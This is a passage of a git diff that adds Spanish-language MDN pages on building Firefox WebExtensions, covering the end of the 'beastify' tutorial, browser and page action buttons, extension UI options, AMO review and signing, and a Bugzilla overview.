+      beast<span class="punctuation token">.</span><span class="function token">remove</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">/**
+   * Atiende mensajes del script de segundo plano.
+   * Llama a "beastify()" o "reset()".
+  */</span>
+  browser<span class="punctuation token">.</span>runtime<span class="punctuation token">.</span>onMessage<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="parameter token">message</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>message<span class="punctuation token">.</span>command <span class="operator token">===</span> <span class="string token">"beastify"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="function token">insertBeast</span><span class="punctuation token">(</span>message<span class="punctuation token">.</span>beastURL<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>message<span class="punctuation token">.</span>command <span class="operator token">===</span> <span class="string token">"reset"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="function token">removeExistingBeasts</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Lo primero que hace el script de contenido es revisar la variable global <code>window.hasRun</code>: si está inicializada termina su ejecución, sino, la inicializa y continúa. La razón por la que hacemos esto es porque cada vez que el usuario abre la ventana emergente, se vuelve a ejecutar el script de contenido en la pestaña activa, por lo que podríamos tener múltiples instancias del script ejecutandose en una sola pestaña. Si esto sucede, necesitamos asegurarnos de que sea sólo la primera instancia la que vaya a realizar cambios.</p>
+
+<p>Luego, en la linea 40, donde el script de contenido atiende mensajes provenientes de la ventana emergente (usando la API <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code>), vemos que ésta puede enviar dos mensajes diferentes: "beastify" y "reset".</p>
+
+<ul>
+ <li>si el mensaje es "beastify", esperamos que contenga la URL de la imagen. Removemos el contenido que ha sido agregado por el anterior llamado a "beastify", y luego construimos y  añadimos un elemento <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img">&lt;img&gt;</a></code> cuyo atributo <code>src</code> contiene la URL de la imagen.</li>
+ <li>si el mensaje es "reset", simplemente removemos cualquier imagen que haya sido agregada antes.</li>
+</ul>
+
+<h3 id="Las_bestias">Las bestias</h3>
+
+<p>Finalmente, necesitamos incluir las imágenes de los animales.</p>
+
+<p>Crea una carpeta nueva llamada "beasts", y adiciona tres imágenes en ella, con su nombre apropiado. Tu puedes obtener estas imágenes desde el <a href="https://github.com/mdn/webextensions-examples/tree/master/beastify/beasts">repositorio en GitHub</a>, o desde aquí:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11459/frog.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"><img alt="" src="https://mdn.mozillademos.org/files/11461/snake.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"><img alt="" src="https://mdn.mozillademos.org/files/11463/turtle.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"></p>
+
+<h2 id="Probándolo">Probándolo</h2>
+
+<p>Primero, comprueba nuevamente que tienes todos los archivos necesarios en el lugar adecuado:</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">beastify/
+
+    beasts/
+        frog.jpg
+        snake.jpg
+        turtle.jpg
+
+    content_scripts/
+        beastify.js
+
+    icons/
+        beasts-32.png
+        beasts-48.png
+
+    popup/
+        choose_beast.css
+        choose_beast.html
+        choose_beast.js
+
+    manifest.json</code></pre>
+
+<p>Comenzando con Firefox 45, pueden instalar temporalmente una extensión desde el disco.</p>
+
+<p>Abre "about:debugging" en Firefox, de clic en "Cargar complemento temporalmente", y seleccione el archivo manifest.json. Entonces, debería de ver el ícono de la extensión aparecer en la barra de herramientas de Firefox:</p>
+
+<p>{{EmbedYouTube("sAM78GU4P34")}}</p>
+
+<p>Abra una página web, luego haga clic sobre el ícono, seleccione una bestia, y vea cómo cambia la página web:</p>
+
+<p>{{EmbedYouTube("YMQXyAQSiE8")}}</p>
+
+<h2 id="Desarrollo_desde_la_línea_de_comandos">Desarrollo desde la línea de comandos</h2>
+
+<div id="gt-res-content">
+<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr">
+<div id="tts_button"> </div>
+
+<p><span id="result_box" lang="es"><span>Puede automatizar el paso de instalación temporal mediante la herramienta <a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a>.</span> <span>Pruebe esto</span></span>:</p>
+</div>
+</div>
+
+<pre class="brush: bash line-numbers  language-bash"><code class="language-bash">cd beastify
+web-ext run</code></pre>
+
+<p> </p>
diff --git a/files/es/mozilla/add-ons/webextensions/user_interface/accion_navegador/index.html b/files/es/mozilla/add-ons/webextensions/user_interface/accion_navegador/index.html
new file mode 100644
index 0000000000..55ce89a9c7
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/user_interface/accion_navegador/index.html
@@ -0,0 +1,50 @@
+---
+title: Botón de la Barra de Herramientas
+slug: Mozilla/Add-ons/WebExtensions/user_interface/Accion_navegador
+tags:
+  - WebExtension
+translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Generalmente referidas como <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">acciones de navegador</a>, esta opción de interfaz de usuario corresponde a un botón agregado a la barra de herramientas del navegador. Los usuarios pueden hacer click en el botón para interactuar con tu extensión.<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/15751/browser-action.png" style="display: block; height: 182px; margin-left: auto; margin-right: auto; width: 350px;"></p>
+
+<p>El botón de la barra de herramientas (acción de navegador) es muy parecido al botón de la barra de direcciones (acción de página). Para conocer las diferencias y obtener consejo en cuándo usar qué tipo de botón, te recomendamos ver <a href="/en-US/Add-ons/WebExtensions/user_interface/Page_actions#Page_actions_and_browser_actions">Acciones de página y acciones de navegador</a>.</p>
+
+<h2 id="Especificando_la_acción_de_navegador">Especificando la acción de navegador</h2>
+
+<p>Puedes definir las propiedades de la acción de navegador utilizando la llave <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> del archivo manifest.json:</p>
+
+<pre class="brush: json line-numbers  language-json"><code class="language-json"><span class="key token">"browser_action":</span> <span class="punctuation token">{</span>
+  <span class="key token">"default_icon":</span> <span class="punctuation token">{</span>
+    <span class="key token">"19":</span> <span class="string token">"button/geo-19.png"</span><span class="punctuation token">,</span>
+    <span class="key token">"38":</span> <span class="string token">"button/geo-38.png"</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span>
+  <span class="key token">"default_title":</span> <span class="string token">"Whereami?"</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>El único campo obligatorio es <code>default_icon</code>.</p>
+
+<p>Existen dos formas de especificar una acción de navegador: con o sin una <a href="/en-US/Add-ons/WebExtensions/Popups">ventana emergente</a>. Si no especificas una ventana emergente, se le entregará un evento a la extensión cada vez que el usuario haga click en el botón. El evento es escuchable usando <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>browserAction.onClicked</code></a>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">browser<span class="punctuation token">.</span>browserAction<span class="punctuation token">.</span>onClicked<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span>handleClick<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>En cambio, si especificas una ventana emergente, el evento de click no es despachado al hacer click en el botón: en su lugar, la ventana emergente es mostrada. El usuario podrá interactuar con la ventana emergente, la cual se cerrará automáticamente cada vez que el usuario haga click fuera de ella. Te recomendamos revisar el artículo de <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Popups">ventanas emergentes</a> para conocer más detalles sobre la creación y administración de éstas.</p>
+
+<p>Cabe destacar que tu extensión puede tener solamente una acción de navegador.</p>
+
+<p>Puedes cambiar cualquier propiedad de la acción de navegador de forma programática, utilizando la API <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></code>.</p>
+
+<h2 id="Íconos">Íconos</h2>
+
+<p>Para más detalles sobre cómo crear íconos para usarlos en tu acción de navegador, revisa <a href="https://design.firefox.com/photon/visuals/iconography.html">Iconografía</a> en la documentación del <a href="https://design.firefox.com/photon/index.html">Sistema de Diseño Photon</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El repositorio de GitHub <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> contiene dos ejemplos de extensiones que implementan acciones de navegador:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/webextensions-examples/blob/master/bookmark-it/">bookmark-it</a> usa una acción de navegador sin una ventana emergente.</li>
+ <li><a href="https://github.com/mdn/webextensions-examples/tree/master/beastify">beastify</a> usa una acción de navegador con una ventana emergente.</li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/user_interface/index.html b/files/es/mozilla/add-ons/webextensions/user_interface/index.html
new file mode 100644
index 0000000000..5ddf11d958
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/user_interface/index.html
@@ -0,0 +1,95 @@
+---
+title: User interface
+slug: Mozilla/Add-ons/WebExtensions/user_interface
+tags:
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - User Interface
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/user_interface
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Extensions that use WebExtension APIs are provided with several user interface options so that their functionality can be made available to the user. A summary of those options is provided below, with a more detailed introduction to each user interface option in this section.</p>
+
+<div class="note">
+<p>For advice on using these UI components to create a great user experience in your extension, please see the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User experience best practices</a> article.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">UI option</th>
+   <th scope="col">Description</th>
+   <th scope="col" style="width: 350px;">Example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Browser_action">Toolbar button</a> (browser action)</td>
+   <td>A button on the browser toolbar that dispatches an event to the extension when clicked. By default, the button is visible in all tabs.</td>
+   <td><img alt="Example showing a toolbar button (browser action)." src="https://mdn.mozillademos.org/files/15751/browser-action.png" style="height: 364px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td>Toolbar button with a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a></td>
+   <td>A popup on a button in the browser toolbar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.</td>
+   <td><img alt="Example of the pop-up on a toolbar button" src="https://mdn.mozillademos.org/files/15753/popup-shadow.png" style="height: 624px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Page_actions">Address bar button</a> (page action)</td>
+   <td>A button on the browser address bar that dispatches an event to the extension when clicked. By default, the button is hidden in all tabs.</td>
+   <td><img alt="Example showing an address bar button (page action) " src="https://mdn.mozillademos.org/files/15745/address_bar_button.png" style="height: 348px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td>Address bar button with a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a></td>
+   <td>A popup on a button in the browser address bar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.</td>
+   <td><img alt="Example of a popup on the address bar button" src="https://mdn.mozillademos.org/files/15747/page_action_popup.png" style="height: 524px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Context menu item</a></td>
+   <td>Menu items, checkboxes, and radio buttons on one or more of the browser's context menus. Also, menus can be structured by adding separators. When menu items are clicked, an event is dispatched to the extension.</td>
+   <td><img alt="Example of content menu items added by a WebExtension, from the context-menu-demo example" src="https://mdn.mozillademos.org/files/15756/context_menu_example.png" style="height: 942px; width: 864px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Sidebar</a></td>
+   <td>
+    <p dir="ltr">An HTML document displayed next to a web page, with the option for unique content per page. The sidebar is opened when the extension is installed, then obeys the user's sidebar visibility selection. User interaction within the sidebar is handled by its HTML document.</p>
+   </td>
+   <td><img alt="Example of a sidebar" src="https://mdn.mozillademos.org/files/15755/bookmarks-sidebar.png" style="height: 846px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Options page</a></td>
+   <td>A page that enables you to define preferences for your extension that your users can change. The user can access this page from the browser's add-ons manager.</td>
+   <td><img alt="Example showing the options page content added in the favorite colors example." src="https://mdn.mozillademos.org/files/15748/options_page.png"></td>
+  </tr>
+  <tr>
+   <td><a href="/Add-ons/WebExtensions/user_interface/Extension_pages">Extension page</a></td>
+   <td>Use web pages included in your extension to provide forms, help, or any other content required, within windows or tabs.</td>
+   <td><img alt="Example of a simple bundled page displayed as a detached panel." src="https://mdn.mozillademos.org/files/15752/bundled_page_as_panel_small.png" style="height: 432px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Notification</a></td>
+   <td>Transient notifications displayed to the user through the underlying operating system's notifications mechanism. Dispatches an event to the extension when the user clicks a notification, or when a notification closes (either automatically or at the user's request).</td>
+   <td><img alt="Example of an extension triggered system notification" src="https://mdn.mozillademos.org/files/15754/notify-shadowed.png" style="height: 294px; width: 780px;"></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Address bar suggestion</a></td>
+   <td>Offer custom address bar suggestions when the user enters a keyword.</td>
+   <td><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15749/omnibox_example_small.png" style="height: 464px; width: 700px;"></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Developer tools panel</a></td>
+   <td>A tab with an associated HTML document that displays in the browser's developer tools.</td>
+   <td><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15746/developer_panel_tab.png" style="height: 224px; width: 700px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The following how-to guides provide step-by-step guidance to creating some of these user interface options:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools">Extending the developer tools</a></li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/user_interface/page_actions/index.html b/files/es/mozilla/add-ons/webextensions/user_interface/page_actions/index.html
new file mode 100644
index 0000000000..0ec310af9f
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/user_interface/page_actions/index.html
@@ -0,0 +1,96 @@
+---
+title: Address bar button
+slug: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
+translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Comúnmente denominado botón de acción de página, esta opción de interfaz de usuario es un botón agregado a la barra de direcciones del navegador. Los usuarios pueden hacer clic en el botón para interactuar con sus extensiones.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15745/address_bar_button.png" style="display: block; height: 174px; margin-left: auto; margin-right: auto; width: 350px;"></p>
+
+<h2 id="Acciones_de_página_y_acciones_de_navegador">Acciones de página y acciones de navegador</h2>
+
+<p>El botón de la barra de direcciones (o página de acción) es muy parecida al botón de la barra de herramientas (o acción del navegador).</p>
+
+<p>Las diferencias son:</p>
+
+<ul>
+ <li><strong>La localización del botón:</strong>
+
+  <ul>
+   <li>La acción de página es mostrado dentro de la barra de direcciones del navegador.</li>
+   <li>La acción del navegador es mostrado fuera de la barra de direcciones, exactamente en la barra de herramientas del navegador.</li>
+  </ul>
+ </li>
+ <li><strong>La visibilidad del botón:</strong>
+  <ul>
+   <li>La acción de página esta oculta por defecto (sin embargo esto puede ser cambiado en la propiedades <code>show_matches</code> y <code>hide_matches</code> <a href="/en-US/Add-ons/WebExtensions/manifest.json/page_action">manifest key</a>), y tu puedes llamar  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/PageAction/show" title="Shows the page action for a given tab. The page action is shown whenever the given tab is the active tab."><code>pageAction.show()</code></a> y <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/PageAction/hide" title="Hides the page action for a given tab."><code>pageAction.hide()</code></a> para mostrar o ocultar esto en pestañas especificas.</li>
+   <li>La acción del navegador siempre esta mostrada.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Usa una página de acción cuando cuando la acción este relacionada a la página en curso, y una acción de navegador cuando cuando la acción este relacionada a todas o a muchas páginas. Por ejemplo:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Type</th>
+   <th scope="col">Bookmarks action</th>
+   <th scope="col">Content action</th>
+   <th scope="col">Tabs operation</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">page action</th>
+   <td>Marcar esta página</td>
+   <td>Reddit enhancement</td>
+   <td>Enviar una pestaña</td>
+  </tr>
+  <tr>
+   <th scope="row">browser action</th>
+   <td>Mostrar todos los marcadores</td>
+   <td>Habilitar ad-blocking</td>
+   <td>Sincronizar todas las pestañas</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifying_the_page_action">Specifying the page action</h2>
+
+<p>You define the page action's properties using the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code> key in manifest.json:</p>
+
+<pre class="brush: json line-numbers  language-json"><code class="language-json"><span class="key token">"page_action":</span> <span class="punctuation token">{</span>
+  <span class="key token">"browser_style":</span> <span class="keyword token">true</span><span class="punctuation token">,</span>
+  <span class="key token">"default_icon":</span> <span class="punctuation token">{</span>
+    <span class="key token">"19":</span> <span class="string token">"button/geo-19.png"</span><span class="punctuation token">,</span>
+    <span class="key token">"38":</span> <span class="string token">"button/geo-38.png"</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span>
+  <span class="key token">"default_title":</span> <span class="string token">"Whereami?"</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>The only mandatory key is <code>default_icon</code>.</p>
+
+<p>There are two ways to specify a page action: with or without a <a href="/en-US/Add-ons/WebExtensions/Popups">popup</a>.</p>
+
+<ul>
+ <li><strong>Without a popup:</strong> When the user clicks the button, an event is dispatched to the extension, which the extension listens for using <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>pageAction.onClicked</code></a>:</li>
+ <li>
+  <pre class="brush: js line-numbers  language-js"><code class="language-js">browser<span class="punctuation token">.</span>pageAction<span class="punctuation token">.</span>onClicked<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span>handleClick<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+ </li>
+ <li><strong>With a popup:</strong> the <code>click</code> event is not dispatched. Instead, the popup appears when the user clicks the button. The user then interacts with the popup. When the user clicks outside of the popup, it closes automatically. See the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Popups">Popup </a>article for more details on creating and managing popups.</li>
+</ul>
+
+<p>Note that your extension can have one-page action only.</p>
+
+<p>You can change any of the page action properties programmatically using the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a></code> API.</p>
+
+<h2 id="Icons">Icons</h2>
+
+<p>For details on how to create icons to use with your page action, see <a href="https://design.firefox.com/photon/visuals/iconography.html">Iconography</a> in the <a class="grey-90 no-underline hover-no-underline" href="https://design.firefox.com/photon/index.html">Photon Design System</a> documentation.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repository on GitHub includes the <a href="https://github.com/mdn/webextensions-examples/tree/master/chill-out">chill-out</a> example which implements a page action without a popup.</p>
diff --git a/files/es/mozilla/add-ons/webextensions/what_next_/index.html b/files/es/mozilla/add-ons/webextensions/what_next_/index.html
new file mode 100644
index 0000000000..7566eb1bff
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/what_next_/index.html
@@ -0,0 +1,56 @@
+---
+title: What next?
+slug: Mozilla/Add-ons/WebExtensions/What_next_
+translation_of: Mozilla/Add-ons/WebExtensions/What_next_
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Ahora estarás listo para comenzar a convertir tus idea para una extensión de navegador en realidad. Antes de comenzar ese viaje, vale la pena ser consciente de algunas cosas que ayudarán a que sea más sencillo.</p>
+
+<h2 id="Tu_ambiente_de_desarrollo">Tu ambiente de desarrollo</h2>
+
+<p>No necesitas ninguna herramienta de desarrollo ni entorno de creación en especial a la hora de crear extensiones de navegador: es completamente posible crear grandes extensiones de navegador solo con un editor de texto. Sin embargo, puede ser que tu hayas estado desarrollando para la web y ya poseas un conjunto de herramientas y un entorno que desees reutilizar. Si este es el caso, necesitarás estar al tanto de un par de cosas.</p>
+
+<p>Si utilizas herramientas de minificación u ofuscación para obtener tu código final, deberás proporcionar tu código fuente al <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_#The_review_process">proceso de revisión de AMO</a>. Además, las herramientas que uses (aquellas para los procesos de minificación, ofuscación y creación) deberán ser de código abierto (u ofrecer un uso gratuito ilimitado) y estar disponibles para ejecutarse en la computadora del revisor (Windows, Mac o Linux). Desafortunadamente, nuestros revisores no pueden trabajar con herramientas comerciales o basadas en la web.</p>
+
+<p><a href="/en-US/Add-ons/Source_Code_Submission#About_build_tools">Aprenda más sobre las herramientas de construcción</a></p>
+
+<h2 id="Bibliotecas_de_Terceros">Bibliotecas de Terceros</h2>
+
+<p>Las bibliotecas de terceros son una excelente manera de agregar características complejas o funcionalidades a su extensiones para navegador rápidamente. Cuando envía una extensión al <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_#The_review_process">proceso de revisión de AMO</a>, el proceso también considerará las bibliotecas de terceros utilizadas. Para simplificar la revisión, asegúrese de descargar siempre bibliotecas de terceros desde su sitio web oficial o repositorio, y si la biblioteca está minimizada, proporcione un enlace al código fuente. Tenga en cuenta que las bibliotecas de terceros no se pueden modificar de ninguna manera.</p>
+
+<p><a href="/en-US/Add-ons/Source_Code_Submission">Aprenda más sobre el envío de código fuente </a></p>
+
+<h2 id="Acuerdo_de_Distribución_para_Complementos_de_Firefox">Acuerdo de Distribución para Complementos de Firefox</h2>
+
+<p>Las extensiones del navegador deben estar firmadas para instalarse en la versión de lanzamiento o en las versiones beta de Firefox. La firma se realiza en addons.mozilla.org (AMO) y está sujeta a los términos y condiciones del Acuerdo de Distribución de Complementos de Firefox. El objetivo del acuerdo es garantizar que los usuarios de Firefox tengan acceso a complementos de calidad bien soportados que mejoren la experiencia de Firefox.</p>
+
+<p><a href="/Add-ons/AMO/Policy/Agreement">Lea el Acuerdo</a></p>
+
+<p><a href="/en-US/Add-ons/WebExtensions/Distribution">Aprenda más sobre la firma</a></p>
+
+<h2 id="Proceso_de_revisión">Proceso de revisión</h2>
+
+<p>Cuando se envíe una extensión del navegador para su firma, estará sujeta a revisión automática. También podría estar sujeto a una revisión manual, cuando la revisión automática determine que se necesita una revisión manual. La extensión de su navegador no se firmará hasta que haya pasado la revisión automática y puede revocarse su firma si no pasa la revisión manual. El proceso de revisión sigue un estricto conjunto de pautas, por lo que es fácil verificar y evitar cualquier posible problema de revisión.</p>
+
+<p><a href="/en-US/Add-ons/AMO/Policy/Reviews">Echa un vistazo a las políticas y directrices de revisión</a></p>
+
+<h2 id="Entensiones_de_navegador_destacadas_AMO">Entensiones de navegador destacadas AMO</h2>
+
+<p>Si eliges enlistar tu extensión de navegador en AMO, tu extensión podría aparecer en el sitio web de AMO, en el administrador de complementos del navegador Firefox, o en cualquier otro lugar en un sitio web de Mozilla. Hemos compilado una lista de pautas sobre cómo se seleccionan las extensiones para presentarlas; al seguir estas pautas, le da a su extensión la mejor oportunidad de ser presentada.</p>
+
+<p><a href="/en-US/Add-ons/AMO/Policy/Featured">Aprenda más sobre como destacar sus complementos</a></p>
+
+<h2 id="Continua_tu_experiencia_de_aprendizaje">Continua tu experiencia de aprendizaje</h2>
+
+<p>Ahora que sabe lo que sigue, es hora de profundizar en más detalles sobre el desarrollo de extensiones de navegador. En las siguientes secciones, descubrirás:</p>
+
+<ul>
+ <li>Más sobre los conceptos fundamentales detrás de las extensiones del navegador, comenzando con detalles sobre cómo <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_JavaScript_APIs">usar las API de JavaScript</a>.</li>
+ <li>Una guía de los <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface">componentes de interfaz de usuario</a> disponibles para las extensiones de su navegador.</li>
+ <li>Una recopilación de guías prácticas sobre cómo lograr tareas clave en sus extensiones o hacer uso de las API de JavaScript.</li>
+ <li>Información sobre cómo portar otras extensiones de navegador a Firefox.</li>
+ <li>Detalles sobre los flujos de trabajo específicos de Firefox que puede utilizar para desarrollar extensiones de navegador.</li>
+ <li>Una completa guía de referencia sobre las API de JavaScript.</li>
+ <li>Una completa guía de referencia sobre Manifest keys.</li>
+</ul>
diff --git a/files/es/mozilla/bugzilla/index.html b/files/es/mozilla/bugzilla/index.html
new file mode 100644
index 0000000000..37ae6d1b09
--- /dev/null
+++ b/files/es/mozilla/bugzilla/index.html
@@ -0,0 +1,59 @@
+---
+title: Bugzilla
+slug: Mozilla/Bugzilla
+tags:
+  - Bugzilla
+  - Calidad
+  - Developing Mozilla
+  - 'Developing_Mozilla:Tools'
+  - Herramientas
+  - Pruebas
+  - QA
+  - Tools
+translation_of: Mozilla/Bugzilla
+---
+<p><a class="link-https" href="https://bugzilla.mozilla.org/">bugzilla.mozilla.org</a> (abreviado comunmente como <em><strong>b.m.o</strong></em>) es un sistema de seguimiento de defectos de Mozilla.org, una base de datos para bugs registrados y solicitudes de mejoras para Firefox, Thunderbird, SeaMonkey, Camino, y otros proyectos de mozilla.org.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentación about B.m.o.</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/What_to_do_and_what_not_to_do_in_Bugzilla" title="en/What_to_do_and_what_not_to_do_in_Bugzilla">Qué hacer y qué NO hacer en Bugzilla</a></dt>
+ <dd>Tips for how to use Bugzilla, as well as things you should avoid.</dd>
+ <dt><a class="link-https" href="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html">La etiqueta en Bugzilla</a></dt>
+ <dd>A guide to etiquette; this guide will help you understand how best to conduct yourself on b.m.o. and how using proper manners and civility will help ensure your problem gets solved sooner rather than later.</dd>
+ <dt><a href="https://www.mozilla.org/quality/help/beginning-duplicate-finding.html" title="https://www.mozilla.org/quality/help/beginning-duplicate-finding.html">Cómo saber si un bug ha sido reportado</a></dt>
+ <dd>It's useful (but not mandatory) for you to check if the problem you're reporting has been already tracked. This guide will help you do so.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA" title="/en-US/docs/Mozilla/QA">Aseguramiento de calidad</a></dt>
+ <dd>Documentation about quality assurance at Mozilla.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines" title="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">Guías para redacción de bugs</a></dt>
+ <dd>A guide to writing a good, understandable, bug that will be easily followed by the development team.</dd>
+ <dt><a href="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch" title="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch">How to submit a patch</a></dt>
+ <dd>If you've fixed a bug, or have implemented a new feature, you'll need to get your patch into the tree so it can become part of the product. This guide will teach you how!</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Bugzilla" title="/en-US/docs/tag/CSS">View All...</a></span></p>
+</div>
+
+<div class="section">
+<h2 id="Otros_materiales">Otros materiales</h2>
+
+<ul>
+ <li><a class="external" href="https://www.bugzilla.org/about/">An Introduction to Bugzilla</a></li>
+ <li><a class="external" href="http://blog.johnath.com/2010/02/04/bugzilla-for-humans">Bugzilla for humans</a></li>
